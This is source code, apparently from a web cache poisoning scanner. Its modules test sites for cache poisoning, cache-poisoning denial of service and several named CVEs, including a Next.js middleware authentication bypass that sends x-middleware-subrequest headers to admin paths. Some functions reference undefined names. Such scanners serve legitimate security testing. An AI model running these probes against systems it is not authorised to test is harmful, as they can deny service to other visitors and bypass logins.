responseText) 33 | 34 | for fu in filesURL: 35 | if "<" not in fu[0]: 36 | if len(url.split("/")) > 4: 37 | url = f"{'/'.join(url.split('/')[:3])}/" 38 | uri = f"{url}{fu[0]}" 39 | if uri.startswith("https://"): 40 | uri = f"https://{uri[8:].replace('//', '/')}" 41 | elif uri.startswith("http://"): 42 | uri = f"https://{uri[7:].replace('//', '/')}" 43 | 44 | # print(uri) 45 | run_cpdos_modules(uri, s, req_main, domain, custom_header, authent, human) 46 | except Exception as e: 47 | logger.exception(e) 48 | 49 | 50 | def run_cpdos_modules(url, s, req_main, domain, custom_header, authent, human): 51 | uri = f"{url}?CPDoS={random.randint(1, 100)}" 52 | headers = { 53 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko" 54 | } 55 | try: 56 | req_main = s.get( 57 | uri, 58 | headers=headers, 59 | verify=False, 60 | allow_redirects=False, 61 | timeout=15, 62 | auth=authent, 63 | ) 64 | logger.debug(req_main.content) 65 | 66 | HHO(uri, s, req_main, authent, human) 67 | HMC(uri, s, req_main, authent, human) 68 | HMO(uri, s, req_main, authent, human) 69 | HHCN(uri, s, req_main, authent) 70 | HBH(url, s, req_main, authent, human) 71 | MHC(url, req_main, authent, human) 72 | path_traversal_check(url, s, req_main, authent) 73 | cpdos_main(uri, s, req_main, authent, human) 74 | # waf_rules(url, s, req_main, authent) 75 | except KeyboardInterrupt: 76 | print(" ! Canceled by keyboard interrupt (Ctrl-C)") 77 | sys.exit() 78 | except Exception as e: 79 | print(e) 80 | logger.exception(e) 81 | 82 | 83 | def check_CPDoS(url, s, req_main, domain, custom_header, authent, human): 84 | if req_main.status_code in [301, 302]: 85 | url = ( 86 | req_main.headers["location"] 87 | if "http" in req_main.headers["location"] 88 | else f'{url}{req_main.headers["location"]}' 89 | ) 90 | 91 | print("\033[36m ├ CPDoS analysis\033[0m") 92 | 93 | run_cpdos_modules(url, s, req_main, domain, custom_header, authent, human) 94 | crawl_files(url, s, req_main, domain, custom_header, authent, human) 95 | -------------------------------------------------------------------------------- /modules/CVE.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from modules.utils import requests, random, re, sys, configure_logger 5 | 6 | from modules.cp_cve.CVE202446982 import datareq_check 7 | from modules.cp_cve.CVE201919326 import silverstripe 8 | from modules.cp_cve.CVE202447374 import litespeed 9 | from modules.cp_cve.CVE20235256 import drupaljsonapi 10 | from modules.cp_cve.CVE202527415 import nuxt_check 11 | from modules.cp_cve.CVE202529927 import middleware 12 | 13 | logger = configure_logger(__name__) 14 | 15 | 16 | def run_cve_modules(url, s, req_main, domain, custom_header, authent, human): 17 | uri = f"{url}?cve={random.randint(1, 999)}" 18 | headers = { 19 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko" 20 | } 21 | try: 22 | req_main = s.get( 23 | uri, 24 | headers=headers, 25 | verify=False, 26 | allow_redirects=False, 27 | timeout=15, 28 | auth=authent, 29 | ) 30 | logger.debug(req_main.content) 31 | 32 | datareq_check(url, s, req_main, custom_header, authent) 33 | silverstripe(uri, s, req_main, custom_header, authent) 34 | litespeed(url) 35 | drupaljsonapi(url) 36 | nuxt_check(url, s, req_main, custom_header, authent) 37 | middleware(url) 38 | 39 | #TODO:https://labs.withsecure.com/advisories/plone-cms-cache-poisoning-xss-vulnerability 40 | #TODO:https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit/tree/main 41 | 42 | except requests.Timeout: 43 | #print(f"request timeout {url} {p}") 44 | pass 45 | except KeyboardInterrupt: 46 | print("Exiting") 47 | sys.exit() 48 | except Exception as e: 49 | #print(f"Error : {e}") 50 | logger.exception(e) 51 | pass 52 | 53 | 54 | def check_cpcve(url, s, req_main, domain, custom_header, authent, human): 55 | if req_main.status_code in [301, 302]: 56 | url = ( 57 | req_main.headers["location"] 58 | if "http" in req_main.headers["location"] 59 | else f'{url}{req_main.headers["location"]}' 60 | ) 61 | 62 | print("\033[36m ├ Cache CVE analysis\033[0m") 63 | 64 | run_cve_modules(url, s, req_main, domain, custom_header, authent, human) -------------------------------------------------------------------------------- /modules/cookie_reflection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Cache poisoning via Cookie reflection 6 | https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities 7 | """ 8 | 9 | from modules.utils import * 10 | 11 | def check_cookie_reflection(url, custom_header, authent): 12 | print("\033[36m ├ Cookies Cache poisoning analysis\033[0m") 13 | 14 | matching_forward = "ndvyepenbvtidpvyzh.com" 15 | 16 | try: 17 | req = requests.get(url, verify=False, timeout=10, headers=custom_header, auth=authent, allow_redirects=False) 18 | res_cookie = req.cookies 19 | 20 | reflected = False 21 | cookie_obj = {} 22 | if res_cookie: 23 | for rc in res_cookie: 24 | #print(rc.value) 25 | if rc.value in req.text: 26 | print(f"\033[36m --├ {rc.value}\033[0m value for the\033[36m {rc.name}\033[0m cookie seems to be reflected in text") 27 | reflected = True 28 | cookie_obj = {rc.name: matching_forward} 29 | #s.cookies.set("{}".format(rc.name), "{}".format(matching_forward), domain="{}".format(rc.domain)) 30 | else: 31 | pass 32 | #s.cookies.set("{}".format(rc.name), "{}".format(rc.value), domain="{}".format(rc.domain)) 33 | #cookie_obj.update({rc.name: rc.value}) 34 | #print(cookie_obj) 35 | #print(s.cookies) 36 | for co in cookie_obj: 37 | payload = f"{co}={cookie_obj[co]}" 38 | if reflected: 39 | url = f"{url}?cb={random.randint(0, 1337)}" 40 | for i in range(10): 41 | try: 42 | req_cookie = requests.get(url, cookies=cookie_obj, verify=False, auth=authent, allow_redirects=False, timeout=10) 43 | #print(req_cookie.text) 44 | except: 45 | pass 46 | #traceback.print_exc() 47 | try: 48 | req_verif = requests.get(url, verify=False, headers=custom_header, auth=authent, allow_redirects=False, timeout=10) 49 | if matching_forward in req_verif.text: 50 | print(f" \033[31m └── VULNERABILITY CONFIRMED\033[0m | COOKIE HEADER REFLECTION | \033[34m{url}\033[0m | PAYLOAD: Cookie: {payload}") 51 | vuln_found_notify(url, payload) 52 | except requests.exceptions.Timeout: 53 | print("timeout") 54 | except Exception as e: 55 | print(f" └── Error {e}") 56 | 57 | 58 | if __name__ == '__main__': 59 | url = "https://0afc0000043c969a805c9e5c00830085.web-security-academy.net/?cb=69" 60 | #url = "http://httpbin.org/cookies" 61 | matching_forward = "titi.com" 62 | cookie_reflection(url, matching_forward) 63 | -------------------------------------------------------------------------------- /modules/cp_check/cache_poisoning_nf_files.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Web Cache Poisoning on unkeyed Header 6 | https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-unsafe-handling-of-resource-imports 7 | """ 8 | 9 | from modules.utils import requests, random, re, sys, configure_logger, Identify 10 | from modules.lists import header_list 11 | 12 | logger = configure_logger(__name__) 13 | 14 | def valid_reflection(uri, s, pk, authent, matching_forward): 15 | for _ in range(0, 10): 16 | req = s.get( 17 | uri, 18 | headers=pk, 19 | verify=False, 20 | auth=authent, 21 | timeout=10, 22 | allow_redirects=False, 23 | ) 24 | req_valid = s.get( 25 | uri, 26 | verify=False, 27 | auth=authent, 28 | timeout=10, 29 | allow_redirects=False, 30 | ) 31 | if matching_forward in req_valid.text: 32 | print( 33 | f" {Identify.confirmed} | BODY REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}" 34 | ) 35 | elif matching_forward in req_valid.headers: 36 | print( 37 | f" {Identify.confirmed} | HEADER REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}" 38 | ) 39 | 40 | 41 | def check_reflection(url, s, authent, matching_forward): 42 | for hl in header_list: 43 | uri = f"{url}?cb={random.randrange(9999)}" 44 | pk = {hl: matching_forward} 45 | req = s.get( 46 | uri, 47 | headers=pk, 48 | verify=False, 49 | auth=authent, 50 | timeout=10, 51 | allow_redirects=False, 52 | ) 53 | if matching_forward in req.text: 54 | print( 55 | f" {Identify.behavior} | BODY REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}" 56 | ) 57 | valid_reflection(uri, s, pk, authent, matching_forward) 58 | elif matching_forward in req.headers: 59 | print( 60 | f" {Identify.behavior} | HEADER REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}" 61 | ) 62 | valid_reflection(uri, s, pk, authent, matching_forward) 63 | else: 64 | pass 65 | if len(list(pk.values())[0]) < 50: 66 | sys.stdout.write(f"\033[34m {pk}\033[0m\r") 67 | sys.stdout.write("\033[K") 68 | 69 | 70 | 71 | def check_cache_files(uri, s, custom_header, authent): 72 | 73 | matching_forward = "ndvyepenbvtidpvyzh" 74 | 75 | for endpoints in ["plopiplop.js", "plopiplop.css"]: 76 | url = f"{uri}{endpoints}" 77 | try: 78 | check_reflection(url, s, authent, matching_forward) 79 | except requests.Timeout: 80 | print(f" └── Timeout Error with {endpoints}") 81 | except KeyboardInterrupt: 82 | print(" ! Canceled by keyboard interrupt (Ctrl-C)") 83 | sys.exit() 84 | except Exception as e: 85 | print(e) 86 | logger.exception(e) -------------------------------------------------------------------------------- /modules/cp_cve/CVE201919326.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | https://www.silverstripe.org/download/security-releases/cve-2019-19326/ 6 | https://docs.silverstripe.org/en/3/changelogs/3.7.5/ 7 | """ 8 | 9 | 10 | from modules.utils import requests, random, sys, configure_logger, Identify 11 | 12 | logger = configure_logger(__name__) 13 | 14 | CONTENT_DELTA_RANGE = 500 15 | BIG_CONTENT_DELTA_RANGE = 1000 16 | 17 | 18 | def confirm_vuln(url, s, authent, headers): 19 | for _ in range(5): 20 | req_verify = s.get(url, verify=False, auth=authent, headers=headers, timeout=10, allow_redirects=False) 21 | req_confirm = s.get(url, verify=False, auth=authent, timeout=10, allow_redirects=False) 22 | 23 | 24 | def silverstripe(url, s, req_main, custom_header, authent): 25 | 26 | main_len = len(req_main.content) 27 | headers = { 28 | "X-Original-Url": "plopiplop", 29 | "X-HTTP-Method-Override": "POST" 30 | } 31 | try: 32 | req = s.get(url, verify=False, auth=authent, headers=headers, timeout=10, allow_redirects=False) 33 | len_req = len(req.content) 34 | 35 | 36 | range_exlusion = range(main_len - CONTENT_DELTA_RANGE, main_len + CONTENT_DELTA_RANGE) if main_len < 10000 else range(main_len - BIG_CONTENT_DELTA_RANGE, main_len + BIG_CONTENT_DELTA_RANGE) 37 | 38 | if "plopiplop" in req.text or "plopiplop" in req.headers: 39 | print(f" {Identify.behavior} | CVE-2019-19326 | TAG OK | \033[34m{url}\033[0m | PAYLOAD: {headers}") 40 | confirm_vuln(url, s, authent, headers) 41 | elif len_req not in range_exlusion and req.status_code not in [403, 429, 301, 302]: 42 | print(f" {Identify.behavior} | CVE-2019-19326 | \033[34m{url}\033[0m | DIFFERENT RESPONSE LENGTH {main_len}b > {len_req}b | PAYLOAD: {headers}") 43 | confirm_vuln(url, s, authent, headers) 44 | elif req.status_code != req_main.status_code and req.status_code not in [403, 429]: 45 | print(f" {Identify.behavior} | CVE-2019-19326 | \033[34m{url}\033[0m | DIFFERENT STATUS-CODE | {req_main.status_code} > {req.status_code} | PAYLOAD: {headers}") 46 | confirm_vuln(url, s, authent, headers) 47 | except requests.Timeout: 48 | #print(f"request timeout {url} {p}") 49 | pass 50 | except KeyboardInterrupt: 51 | print("Exiting") 52 | sys.exit() 53 | except Exception as e: 54 | #print(f"Error : {e}") 55 | logger.exception(e) 56 | pass -------------------------------------------------------------------------------- /modules/cp_cve/CVE20235256.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | https://github.com/elttam/publications/blob/master/writeups/CVE-2023-5256.md 6 | """ 7 | 8 | from modules.utils import requests, random, sys, configure_logger, Identify 9 | 10 | logger = configure_logger(__name__) 11 | 12 | def drupaljsonapi(url): 13 | payload = "/jsonapi/user/user?filter[a-labex][condition][path]=cachingyourcookie" 14 | uri = f"{url}{payload}" 15 | try: 16 | req = requests.get(uri, verify=False, timeout=10, allow_redirects=False) 17 | if req.status_code not in [200, 301, 302, 307, 308, 401, 403, 404] and "jsonapi" in req.text: 18 | print(f" {Identify.behavior} | CVE-2023-5256 | \033[34m{uri}\033[0m | {req.status_code}") 19 | if "Cookie" in req.text and "User-Agent" in req.text: 20 | print(f" {Identify.confirmed} | CVE-2023-5256 | \033[34m{uri}\033[0m | {req.status_code} | require manual check") 21 | except requests.Timeout: 22 | #print(f"request timeout {url} {p}") 23 | pass 24 | except Exception as e: 25 | #print(f"Error : {e}") 26 | pass -------------------------------------------------------------------------------- /modules/cp_cve/CVE202446982.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Based on Zhero research 6 | https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir 7 | """ 8 | 9 | from modules.utils import requests, random, sys, configure_logger, re, Identify 10 | 11 | logger = configure_logger(__name__) 12 | 13 | 14 | from bs4 import BeautifulSoup 15 | from urllib.parse import urljoin 16 | 17 | COMMON_PATHS = [ 18 | "mentions-legales", "mentions", "legal", "cgu", "terms", "conditions", 19 | "terms-of-service", "privacy", "politique-de-confidentialite" 20 | ] 21 | 22 | def get_unrisk_page(base_url, response): 23 | soup = BeautifulSoup(response.text, "html.parser") 24 | 25 | for link in soup.find_all("a", href=True): 26 | href = link["href"].lower() 27 | if any(keyword in href for keyword in COMMON_PATHS): 28 | legal_url = urljoin(base_url, href) 29 | return legal_url 30 | 31 | for path in COMMON_PATHS: 32 | test_url = urljoin(base_url, "/" + path) 33 | try: 34 | response = requests.get(test_url, timeout=5) 35 | if response.status_code == 200: 36 | if re.search(r"mentions\s+legales|conditions\s+générales", response.text, re.IGNORECASE): 37 | return test_url 38 | except requests.RequestException: 39 | continue 40 | 41 | return None 42 | 43 | 44 | def nextjsdos(url, uri, s): 45 | #dangerous 46 | headers = { 47 | "x-now-route-matches": "1" 48 | } 49 | for _ in range(0, 5): 50 | reqdos = s.get(uri, headers=headers, verify=False, auth=authent, timeout=10, allow_redirects=False) 51 | reqverify = s.get(url, verify=False, auth=authent, timeout=10, allow_redirects=False) 52 | if "pageProps" in req.text or len(reqdos.content) == len(reqverify.content): 53 | print(f" {Identify.confirmed} | {url} | {headers}") 54 | 55 | 56 | def datareq_check(url, s, req_main, custom_header, authent): 57 | 58 | uri = f"{url}?__nextDataReq=1" 59 | #print(uri) 60 | main_len = len(req_main.content) 61 | try: 62 | req = requests.get(uri, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False) 63 | len_req = len(req.content) 64 | 65 | if "pageProps" in req.text or "__N_SSP" in req.text: 66 | print(f" {Identify.behavior} | CVE-2024-46982 | TAG OK | \033[34m{uri}\033[0m | PAYLOAD: x-now-route-matches: 1") 67 | unrisk_page = get_unrisk_page(url, req) 68 | if unrisk_page: 69 | uri = f"{unrisk_page}?__nextDataReq=1" 70 | nextjsdos(unrisk_page, uri, s) 71 | #elif len_req != main_len and req.status_code not in [403, 301, 302]: 72 | #print(f"\033[33m └── [INTERESTING BEHAVIOR]\033[0m | DIFF LENGTH | {uri} | {req.status_code}") 73 | except requests.Timeout: 74 | #print(f"request timeout {url} {p}") 75 | pass 76 | except KeyboardInterrupt: 77 | print("Exiting") 78 | sys.exit() 79 | except Exception as e: 80 | #print(f"Error : {e}") 81 | logger.exception(e) 82 | pass -------------------------------------------------------------------------------- /modules/cp_cve/CVE202447374.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | https://blog.ostorlab.co/litespeed-cache,cve-2024-47374.html 6 | """ 7 | 8 | from modules.utils import requests, sys, configure_logger, Identify 9 | 10 | logger = configure_logger(__name__) 11 | 12 | 13 | PAGES = [ 14 | 'wp-admin/admin.php?page=lscache-ccss', 15 | 'wp-admin/admin.php?page=lscache', 16 | 'wp-admin/admin.php?page=lscache-purge', 17 | 'wp-admin/admin.php?page=lscache-settings', 18 | 'wp-admin/admin.php?page=lscache-advanced' 19 | ] 20 | 21 | def litespeed(base_url): 22 | headers = { 23 | 'X-LSCACHE-VARY-VALUE': '">' 24 | } 25 | 26 | for page in PAGES: 27 | target_url = f"{base_url}{page}" 28 | try: 29 | response = requests.get(target_url, headers=headers, verify=False, timeout=10) 30 | if 'CVE-2024-47374' in response.text: 31 | print(f" {Identify.confirmed} | CVE-2024-47374| \033[34m{target_url}\033[0m | PAYLOAD: {headers}") 32 | except requests.Timeout: 33 | #print(f"request timeout {url} {p}") 34 | pass 35 | except KeyboardInterrupt: 36 | print("Exiting") 37 | sys.exit() 38 | except Exception as e: 39 | #print(f"Error : {e}") 40 | logger.exception(e) 41 | pass 42 | 43 | -------------------------------------------------------------------------------- /modules/cp_cve/CVE202527415.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Based on Zhero research 6 | https://zhero-web-sec.github.io/research-and-things/nuxt-show-me-your-payload 7 | """ 8 | 9 | from modules.utils import requests, random, sys, configure_logger, re, Identify 10 | 11 | logger = configure_logger(__name__) 12 | 13 | from bs4 import BeautifulSoup 14 | from urllib.parse import urljoin 15 | 16 | COMMON_PATHS = [ 17 | "accessibilite", "mentions-legales", "mentions", "legal", "cgu", "terms", "conditions", 18 | "terms-of-service", "privacy", "politique-de-confidentialite", "faq" 19 | ] 20 | 21 | def get_unrisk_page(base_url, response): 22 | soup = BeautifulSoup(response.text, "html.parser") 23 | 24 | for link in soup.find_all("a", href=True): 25 | href = link["href"].lower() 26 | if any(keyword in href for keyword in COMMON_PATHS): 27 | legal_url = urljoin(base_url, href) 28 | return legal_url 29 | 30 | for path in COMMON_PATHS: 31 | test_url = urljoin(base_url, "/" + path) 32 | try: 33 | response = requests.get(test_url, timeout=5) 34 | if response.status_code == 200: 35 | if re.search(r"accessibilite|mentions\s+legales|conditions\s+générales|cgu", response.text, re.IGNORECASE): 36 | return test_url 37 | except requests.RequestException: 38 | continue 39 | 40 | return None 41 | 42 | 43 | 44 | def nuxt_check(url, s, req_main, custom_header, authent): 45 | try: 46 | req = requests.get(url, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False) 47 | 48 | if "nuxt" in req.text or "nuxt" in req.headers: 49 | unrisk_page = get_unrisk_page(url, req) 50 | #print(unrisk_page) 51 | if unrisk_page: 52 | poison_url = f"{unrisk_page}_payload.json" if unrisk_page[-1] == "/" else f"{unrisk_page}/_payload.json" 53 | req_nuxt = requests.get(poison_url, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False) 54 | len_req = len(req_nuxt.content) 55 | try: 56 | data = req_nuxt.json() 57 | print(f" {Identify.behavior} | CVE-2025-27415 | TAG OK | \033[34m{poison_url}\033[0m") 58 | except requests.exceptions.JSONDecodeError: 59 | if "application/json" in req_nuxt.headers.get("Content-Type", ""): 60 | print(f" {Identify.behavior} | CVE-2025-27415 | TAG OK | \033[34m{poison_url}\033[0m") 61 | elif req_nuxt.status_code != req.status: 62 | print(f" {Identify.behavior} | CVE-2025-27415 | DIFFERENT RESPONSE {req.status_code} > {req_nuxt.status_code}| \033[34m{url}\033[0m") 63 | #check exploit 64 | req_verify = requests.get(unrisk_page, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False) 65 | try: 66 | data = req_verify.json() 67 | print(f" {Identify.confirmed} | CVE-2025-27415 | TAG OK | \033[34m{unrisk_page}\033[0m") 68 | except requests.exceptions.JSONDecodeError: 69 | if "application/json" in req_verify.headers.get("Content-Type", ""): 70 | print(f" {Identify.confirmed} | CVE-2025-27415 | TAG OK | \033[34m{unrisk_page}\033[0m") 71 | elif req_verify.status_code != req.status: 72 | print(f" {Identify.confirmed} | CVE-2025-27415 | DIFFERENT RESPONSE {req.status_code} > {req_verify.status_code} | \033[34m{unrisk_page}\033[0m") 73 | else: 74 | print(" [i] It seems that the nuxt.js framework is used, but no risk-free pages have been found. Please do a manual check.") 75 | 76 | except requests.Timeout: 77 | #print(f"request timeout {url} {p}") 78 | pass 79 | except KeyboardInterrupt: 80 | print("Exiting") 81 | sys.exit() 82 | except Exception as e: 83 | #print(f"Error : {e}") 84 | logger.exception(e) 85 | pass -------------------------------------------------------------------------------- /modules/cp_cve/CVE202529927.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware 6 | """ 7 | 8 | from modules.utils import requests, random, sys, configure_logger, re, Identify 9 | 10 | logger = configure_logger(__name__) 11 | 12 | from bs4 import BeautifulSoup 13 | from urllib.parse import urljoin 14 | 15 | 16 | requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) 17 | 18 | 19 | middleware_names = [ 20 | 'middleware', 21 | 'pages/_middleware', 22 | 'pages/dashboard/_middleware', 23 | 'pages/dashboard/panel/_middleware', 24 | 'src/middleware', 25 | 'middleware:middleware:middleware:middleware:middleware', 26 | 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware' 27 | ] 28 | 29 | paths = [ 30 | '', 31 | 'login', 32 | 'admin', 33 | 'admin/login', 34 | 'administrator', 35 | 'administration/', 36 | 'administration/dashboard/', 37 | 'administration/dashboard/products', 38 | 'panel', 39 | 'admin.php', 40 | 'dashboard', 41 | 'api/secret', 42 | ] 43 | 44 | 45 | def is_authentication_page(html): 46 | soup = BeautifulSoup(html, 'html.parser') 47 | body_text = soup.get_text(" ", strip=True) 48 | 49 | auth_keywords = re.compile(r"(identifiant|login|username|user|passwd|pass|password|connexion|authentification|signin|auth|log in|log-in|admin)", re.IGNORECASE) 50 | 51 | return bool(auth_keywords.search(body_text)) 52 | 53 | 54 | def follow_redirects(url): 55 | try: 56 | req_redir = requests.get(url, verify=False, timeout=10, allow_redirects=True) 57 | #print(is_authentication_page(req_redir.text)) 58 | if is_authentication_page(req_redir.text): 59 | #print(req_redir.headers) 60 | return True 61 | else: 62 | return False 63 | except requests.RequestException as e: 64 | pass 65 | 66 | 67 | def bypass_auth(url_p, req): 68 | for middleware_name in middleware_names: 69 | headers = { 70 | 'User-Agent': 'Mozilla/5.0', 71 | 'x-middleware-subrequest': middleware_name 72 | } 73 | try: 74 | req_bypass = requests.get(url_p, headers=headers, verify=False, timeout=10, allow_redirects=False) 75 | #print(f"{url_p} :: {req_bypass}") 76 | if req_bypass.status_code not in range(300, 500) and req_bypass.status_code != req.status_code: 77 | print(f"\033[31m └── [VULNERABILITY CONFIRMED]\033[0m | BYPASS {req.status_code} > {req_bypass.status_code} | {len(req.content)}b > {len(req_bypass.content)}b | \033[34m{url_p}\033[0m | PAYLOAD: x-middleware-subrequest: {middleware_name}") 78 | except Exception as e: 79 | #traceback.print_exc() 80 | pass 81 | 82 | 83 | def detect_response(url, req_main, headers): 84 | if re.search(r'\/([^/]+(?:\.[a-z]+)?|[^/]+$)', url): 85 | if req_main.status_code in range(300, 310): 86 | fr = follow_redirects(url) 87 | #print(fr) 88 | if fr: 89 | bypass_auth(url, req_main) 90 | elif req_main.status_code in [401, 403]: 91 | bypass_auth(url, req_main) 92 | parsed_url = urlparse(url) 93 | url = f"{parsed_url.scheme}://{parsed_url.netloc}/" 94 | for path in paths: 95 | url_p = url + path 96 | req_check = requests.get(url_p, headers=headers, verify=False, timeout=10, allow_redirects=False) 97 | try: 98 | if req_check.status_code in range(300, 310): 99 | #print(f"{url} :: {follow_redirects(url)}") 100 | if follow_redirects(url): 101 | bypass_auth(url_p, req_check) 102 | elif req_check.status_code in [401, 403]: 103 | bypass_auth(url_p, req_check) 104 | except Exception as e: 105 | #traceback.print_exc() 106 | pass 107 | 108 | 109 | def cache_p(url, req_main, headers): 110 | url_cb = f"{url}?cb=1234" 111 | try: 112 | req_cb = requests.get(url_cb, headers=headers, verify=False, timeout=10, allow_redirects=False) 113 | if req_cb.status_code in [307, 308, 304, 301, 302]: 114 | for middleware_name in middleware_names: 115 | headers = { 116 | 'User-Agent': 'Mozilla/5.0', 117 | 'x-middleware-subrequest': middleware_name 118 | } 119 | url_cp = f"{url}?cb={random.randrange(999)}" 120 | req_cp = requests.get(url_cp, headers=headers, verify=False, timeout=10, allow_redirects=False) 121 | if req_cp.status_code not in [307, 308, 304, 301, 302]: 122 | print(f"\033[33m └── [INTERESTING BEHAVIOR]\033[0m | CPDoSError {req_cb.status_code} > {req_cp.status_code} | \033[34m{url_cp}\033[0m | PAYLOAD: x-middleware-subrequest: {middleware_name}") 123 | for _ in range(0, 5): 124 | requests.get(url_cp, headers=headers, verify=False, timeout=10, allow_redirects=False) 125 | req_cp_verify = requests.get(url_cp, verify=False, timeout=10, allow_redirects=False) 126 | if req_cp.status_code == req_cp_verify.status_code: 127 | print(f"\033[31m └── [VULNERABILITY CONFIRMED]\033[0m | CPDoSError {req_cb.status_code} > {req_cp.status_code} | \033[34m{url_cp}\033[0m | PAYLOAD: x-middleware-subrequest: {middleware_name}") 128 | except requests.Timeout: 129 | #print(f"request timeout {url} {p}") 130 | pass 131 | except Exception as e: 132 | #traceback.print_exc() 133 | pass 134 | 135 | 136 | def middleware(url): 137 | try: 138 | req_main = requests.get(url, headers=headers, verify=False, timeout=10, allow_redirects=False) 139 | detect_response(url, req_main, headers) 140 | cache_p(url, req_main, headers) 141 | except KeyboardInterrupt: 142 | print("Exiting") 143 | sys.exit() 144 | except requests.Timeout: 145 | #print(f"request timeout {url} {p}") 146 | pass 147 | except Exception as e: 148 | #traceback.print_exc() 149 | logger.exception(e) 150 | pass 151 | 152 | 153 | if __name__ == "__main__": 154 | # file => python3 file.py f file.txt | single url => python3 file.py url.com 155 | headers = { 156 | 'User-Agent': 'Mozilla/5.0', 157 | 'Accept-Encoding': 'gzip' 158 | } 159 | 160 | 161 | if len(sys.argv) == 2: 162 | url = sys.argv[1] 163 | parsed_url = urlparse(url) 164 | if parsed_url.scheme == "http" or parsed_url.scheme == "https": 165 | print(url) 166 | main(url) 167 | else: 168 | print("Usage:\n With file => python3 file.py f file.txt \n With single url => python3 file.py url.com") 169 | elif len(sys.argv) == 3: 170 | input_file = sys.argv[2] 171 | with open(input_file, 'r') as f: 172 | urls = [line.strip() for line in f if line.strip()] 173 | for url in urls: 174 | main(url) 175 | print(f" {url}", end='\r') 176 | else: 177 | print("Usage:\n With file => python3 file.py f file.txt \n With single url => python3 file.py url.com") -------------------------------------------------------------------------------- /modules/cpdos/basic_cpdos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attempts to find Cache Poisoning Denial of Service (CpDoS) error based 6 | https://cpdos.org/ 7 | """ 8 | 9 | from modules.lists import payloads_keys 10 | from modules.utils import requests, random, sys, configure_logger, human_time, Identify 11 | 12 | logger = configure_logger(__name__) 13 | 14 | 15 | def check_cached_status(url, s, pk, main_status_code, authent): 16 | behavior = False 17 | confirmed = False 18 | cache_status = False 19 | 20 | for _ in range(0, 5): 21 | req = s.get( 22 | url, 23 | headers=pk, 24 | verify=False, 25 | allow_redirects=False, 26 | auth=authent, 27 | timeout=10, 28 | ) 29 | req_verify = s.get( 30 | url, verify=False, allow_redirects=False, auth=authent, timeout=10 31 | ) 32 | # print(f"{req.status_code} :: {req_verify.status_code}") 33 | if ( 34 | req.status_code == req_verify.status_code 35 | and req.status_code not in [429, 200, 304, 303] 36 | or req_verify.status_code not in [429, 200, 304, 303] 37 | and req_verify.status_code != main_status_code 38 | ): 39 | behavior = True 40 | for rh in req_verify.headers: 41 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower(): 42 | confirmed = True 43 | cache_status = True 44 | elif req.status_code != req_verify.status_code and req.status_code == 304: 45 | for rh in req_verify.headers: 46 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower(): 47 | behavior = True 48 | cache_status = True 49 | elif req.status_code != req_verify.status_code and req.status_code not in [ 50 | 429, 51 | 304, 52 | ]: 53 | for rh in req_verify.headers: 54 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower(): 55 | behavior = True 56 | cache_status = True 57 | 58 | cache_status = ( 59 | f"\033[31m{cache_status}\033[0m" 60 | if not cache_status 61 | else f"\033[32m{cache_status}\033[0m" 62 | ) 63 | if confirmed: 64 | #print(headers) 65 | print( 66 | f" {Identify.confirmed} | CPDoSError {main_status_code} > {req.status_code} | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk}" 67 | ) 68 | behavior = False 69 | confirmed = False 70 | elif behavior: 71 | print( 72 | f" {Identify.behavior} | CPDoSError {main_status_code} > {req.status_code} | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}" 73 | ) 74 | 75 | 76 | def check_cached_len(url, s, pk, main_len, authent): 77 | behavior = False 78 | confirmed = False 79 | cache_status = False 80 | 81 | for _ in range(0, 5): 82 | req = s.get( 83 | url, 84 | headers=pk, 85 | verify=False, 86 | 